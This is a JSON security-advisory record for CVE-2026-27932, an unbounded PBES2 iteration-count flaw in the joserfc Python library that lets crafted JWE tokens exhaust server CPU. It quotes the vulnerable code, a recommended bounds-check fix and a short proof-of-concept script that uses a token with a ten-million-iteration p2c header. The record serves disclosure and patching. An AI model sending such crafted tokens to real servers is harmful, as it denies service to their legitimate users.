{"id":"CVE-2026-27932","aliases":["CVE-2026-27932","GHSA-w5r5-m38g-f9f9","PYSEC-2026-2529"],"related":[],"kind":"vulnerability","state":"published","title":"joserfc PBES2 p2c Unbounded Iteration Count enables Denial of Service (DoS)","summary":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In 1.6.2 and earlier, a resource exhaustion vulnerability in joserfc allows an unauthenticated attacker to cause a Denial of Service (DoS) via CPU exhaustion. When the library decrypts a JSON Web Encryption (JWE) token using Password-Based Encryption (PBES2) algorithms, it reads the p2c (PBES2 Count) parameter directly from the token's protected header. This parameter defines the number of iterations for the PBKDF2 key derivation function. Because joserfc does not validate or bound this value, an attacker can specify an extremely large iteration count (e.g., 2^31 - 1), forcing the server to expend massive CPU resources processing a single token. This vulnerability exists at the JWA layer and impacts all high-level JWE and JWT decryption interfaces if PBES2 algorithms are allowed by the application's policy.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. In 1.6.2 and earlier, a resource exhaustion vulnerability in joserfc allows an unauthenticated attacker to cause a Denial of Service (DoS) via CPU exhaustion. When the library decrypts a JSON Web Encryption (JWE) token using Password-Based Encryption (PBES2) algorithms, it reads the p2c (PBES2 Count) parameter directly from the token's protected header. This parameter defines the number of iterations for the PBKDF2 key derivation function. Because joserfc does not validate or bound this value, an attacker can specify an extremely large iteration count (e.g., 2^31 - 1), forcing the server to expend massive CPU resources processing a single token. This vulnerability exists at the JWA layer and impacts all high-level JWE and JWT decryption interfaces if PBES2 algorithms are allowed by the application's policy.","source":"cvelist"},{"lang":"en","text":"# Summary \n\nA resource exhaustion vulnerability in joserfc allows an unauthenticated attacker to cause a Denial of Service (DoS) via CPU exhaustion. When the library decrypts a JSON Web Encryption (JWE) token using Password-Based Encryption (PBES2) algorithms, it reads the p2c (PBES2 Count) parameter directly from the token's protected header. This parameter defines the number of iterations for the PBKDF2 key derivation function. Because joserfc does not validate or bound this value, an attacker can specify an extremely large iteration count (e.g., 2^31 - 1), forcing the server to expend massive CPU resources processing a single token.\n\nThis vulnerability exists at the JWA layer and impacts all high-level JWE and JWT decryption interfaces if PBES2 algorithms are allowed by the application's policy.\n\n## Details\n \n**Vulnerable file:** `src/joserfc/_rfc7518/jwe_algs.py`\n**Vulnerable function:** `PBES2HSAlgKeyEncryption.decrypt_cek()` \n**Lines:** 283\n\n```python\ndef decrypt_cek(self, recipient: Recipient[OctKey]) -> bytes:\n    headers = recipient.headers()\n    # ...\n    p2c = headers[\"p2c\"]  # ← attacker-controlled integer\n    # ...\n    kek = self.compute_derived_key(key.get_op_key(\"deriveKey\"), p2s, p2c)\n```\nThe `p2c` value is then passed to `compute_derived_key` : \n\n```python\ndef compute_derived_key(self, key: bytes, p2s: bytes, p2c: int) -> bytes:\n    # ...\n    kdf = PBKDF2HMAC(\n        algorithm=self.hash_alg,\n        length=self.key_size // 8,\n        salt=salt,\n        iterations=p2c,  # ← unbounded iterations\n        backend=default_backend(),\n    )\n```\n\n**Impact on JWT Policies**\nAny JWT policy configured to allow PBES2 key management algorithms (e.g., `PBES2-HS256+A128KW`) is vulnerable. Because the DoS occurs during the decryption phase, the attack is triggered before any claim validation (e.g., \nexp,`iss, aud` checks) or nested signature verification takes place. This makes existing JWT \"policies\" ineffective as a defense if the underlying algorithm is permitted.\n\n\n## PoC\n\n**Tested against joserfc 1.6.2.\nLocal Reproduction:**\n\n```python\nimport time\nfrom joserfc import jwe\nfrom joserfc.jwk import OctKey\n\n# Force joserfc to use local source if needed\n# sys.path.insert(0, \"src\")\n\n# Attacker-crafted token with 10 million iterations\n# Normally legitimate p2c is ~2048-4096. 10M iterations = ~5s DoS.\ntoken = \"eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiWjI5dVpYSm1ZdyIsInAyYyI6MTAwMDAwMDB9.dummy.dummy.dummy.dummy\"\n\nkey = OctKey.import_key(b\"any-password\")\n\nt0 = time.perf_counter()\ntry:\n    # This call will hang the thread for seconds\n    jwe.decrypt_compact(token, key, algorithms=[\"PBES2-HS256+A128KW\", \"A128CBC-HS256\"])\nexcept Exception:\n    pass\nprint(f\"Elapsed: {time.perf_counter() - t0:.2f}s\")\n```\n\n## Impact\nAn unauthenticated remote attacker can exhaust the CPU resources of a server by sending a small number of crafted JWE/JWT tokens. Each token will occupy a worker thread/process for a duration proportional to the `p2c` value (up to several minutes or hours depending on the integer value). This results in a complete Denial of Service for legitimate users.\n\n## Recommendation\nMinimal fix: Implement an upper bound check for the `p2c` parameter in `PBES2HSAlgKeyEncryption.decrypt_cek()`.\n\n```python\nMAX_P2C = 300000  # Example security bound\n\n# ... inside decrypt_cek ...\np2c = headers[\"p2c\"]\nif not isinstance(p2c, int) or p2c > MAX_P2C:\n    raise DecodeError(f\"p2c iteration count too high (max {MAX_P2C})\")\n```\nAdditionally, applications should only enable PBES2 algorithms if password-based encryption is specifically required and should enforce a strict  algorithms allowlist in their JWT/JWE policies.","format":"markdown","source":"ghsa"},{"lang":"es","text":"joserfc es una librería de Python que proporciona una implementación de varios estándares JSON Object Signing and Encryption (JOSE). En 1.6.2 y versiones anteriores, una vulnerabilidad de agotamiento de recursos en joserfc permite a un atacante no autenticado causar una denegación de servicio (DoS) mediante el agotamiento de la CPU. Cuando la librería descifra un token JSON Web Encryption (JWE) utilizando algoritmos de cifrado basado en contraseña (PBES2), lee el parámetro p2c (PBES2 Count) directamente del encabezado protegido del token. Este parámetro define el número de iteraciones para la función de derivación de clave PBKDF2. Debido a que joserfc no valida ni limita este valor, un atacante puede especificar un número de iteraciones extremadamente grande (por ejemplo, 2^31 - 1), forzando al servidor a gastar recursos masivos de CPU al procesar un solo token. Esta vulnerabilidad existe en la capa JWA y afecta a todas las interfaces de descifrado JWE y JWT de alto nivel si los algoritmos PBES2 están permitidos por la política de la aplicación.","source":"nvd"}],"published":"2026-03-02T18:47:37.000Z","modified":"2026-09-10T03:50:41.369Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-770"],"affected":[{"ranges":[{"version":"<= 1.6.2","status":"affected"}],"vendor":"authlib","product":"joserfc","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.6.3"}],"ecosystem":"PyPI","package":"joserfc","purl":"pkg:pypi/joserfc","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"1.6.2"}],"vendor":"hsiaoming","product":"joserfc","cpe":"cpe:2.3:a:hsiaoming:joserfc:*:*:*:*:*:python:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.6.3"}],"ecosystem":"PyPI","package":"joserfc","purl":"pkg:pypi/joserfc","source":"pysec"}],"references":[{"url":"https://github.com/authlib/joserfc/security/advisories/GHSA-w5r5-m38g-f9f9","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/authlib/joserfc/commit/696a9611ab982c45ee2190ed79ca8e1d8e09398f","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27932","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/authlib/joserfc/commit/696a961","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/authlib/joserfc","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/joserfc","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-w5r5-m38g-f9f9","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-03-04T21:20:43.896Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-27932","url":"https://www.cve.org/CVERecord?id=CVE-2026-27932","licence":"CVE Terms of Use","modified":"2026-03-04T21:20:55.097Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-w5r5-m38g-f9f9","url":"https://github.com/advisories/GHSA-w5r5-m38g-f9f9","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:41.369Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-27932","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27932","licence":"Public domain","modified":"2026-06-17T10:27:55.770Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2529","url":"https://osv.dev/vulnerability/PYSEC-2026-2529","licence":"CC-BY-4.0","modified":"2026-07-13T16:31:58.664Z"}],"updatedAt":"2026-11-25T22:59:15.147Z","epss":{"score":0.00455,"percentile":0.41187,"date":"2026-12-01T12:00:22.000Z"}}